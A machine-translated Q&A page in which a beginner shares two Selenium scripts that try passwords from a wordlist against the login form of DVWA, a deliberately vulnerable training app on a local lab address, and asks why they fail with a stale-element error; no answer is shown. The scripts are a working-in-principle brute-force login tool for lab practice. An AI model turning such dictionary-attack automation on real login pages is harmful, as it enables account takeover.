python - 如何在不中断的情况下修复填充DVWA浏览器的pytonos程序代码?
问题描述
我的第一个程序代码:
import time
from selenium import webdriver
driver="/usr/local/bin/geckodriver"
webpage=webdriver.Firefox(executable_path=driver)
webpage.get("http://192.168.192.128/dvwa/login.php")
time.sleep(2)
username=webpage.find_element_by_css_selector("input.loginInput:nth-child(2)")
passwd=webpage.find_element_by_css_selector("input.loginInput:nth-child(5)")
button=webpage.find_element_by_css_selector(".submit > input:nth-child(1)")
dictionary=open("/root/Desktop/mytest.txt","r")
for i in dictionary:
username.send_keys("admin")
passwd.send_keys(i)
time.sleep(3)
print(i)
button.click()
username.clear()
dictionary.close()
我的第二个程序代码:我修复了" DeprecationWarning: The executable_path is deprecated "
错误消息。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import time
from selenium import webdriver
from selenium.webdriver.firefox.service import Service
from selenium.webdriver.firefox.options import Options
# Options
options = Options()
# Specify custom geckodriver path
service = Service("/usr/local/bin/geckodriver")
# Test
webpage=webdriver.Firefox(options=options, service=service)
webpage.get("http://192.168.192.128/dvwa/login.php")
time.sleep(2)
username=webpage.find_element_by_css_selector("input.loginInput:nth-child(2)")
passwd=webpage.find_element_by_css_selector("input.loginInput:nth-child(5)")
button=webpage.find_element_by_css_selector(".submit > input:nth-child(1)")
# Python program to
# demonstrate readline()
# Using readlines()
dictionary=open("/root/Desktop/mytest.txt","r")
Lines=dictionary.readlines()
count=0
# Strips the newline character
for line in Lines:
count+=1
username.send_keys("admin")
passwd.send_keys(line)
time.sleep(3)
print("Attempt {}: {}".format(count,line.strip()))
button.click()
time.sleep(2)
username.clear()
passwd.clear()
dictionary.close()
在这两种情况下,我都会收到相同的错误消息:" selenium.common.exceptions.StaleElementReferenceException: Message: The element reference of <input class="loginInput" name="username" type="text"> is stale; either the element is no longer attached to the DOM, it is not in the current frame context, or the document has been refreshed .. "
我是python的初学者。我试图添加:
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
我试图替换:
element_present = EC.presence_of_element_located((By.CSS_SELECTOR, "input.loginInput:nth-child"))
WebDriverWait(browser, timeout).until (element_present)
或者添加这样" href "
的附加组件(我不能写的例子,因为我已经删除了它们)。但要么它不起作用,要么我得到了同样的错误。
(我知道有一个更简单的 python 解决方案来测试 DVWA 请求,但我想这样做,顺利通过网页。)
解决方案
推荐阅读
- scala - 如何在 DataFrame 中过滤数组的字段?
- bash - Bash:查找排除目录错误
- tfs - 在 TFS 中,如何使用自定义记录器执行测试运行?
- android - 在日志中获取firebase值但不知道如何在recylerview中添加到数组适配器中
- c# - 如何在我的表中使用逗号将小数点后的值更改为 2,532.00 到 2532。
- c# - 所有进程完成后触发 Azure Function
- android - FireBase Firestore 按 ID 列表检索多个文档
- authentication - VS 2017 ASP.NET Core Web 应用程序和个人用户帐户有效,但页面不存在
- graph - 如何按特定顺序遍历有向无环图的所有节点?
- jmeter - Jmeter-如何一次从数组中传递固定数量的值,直到遍历所有值到http请求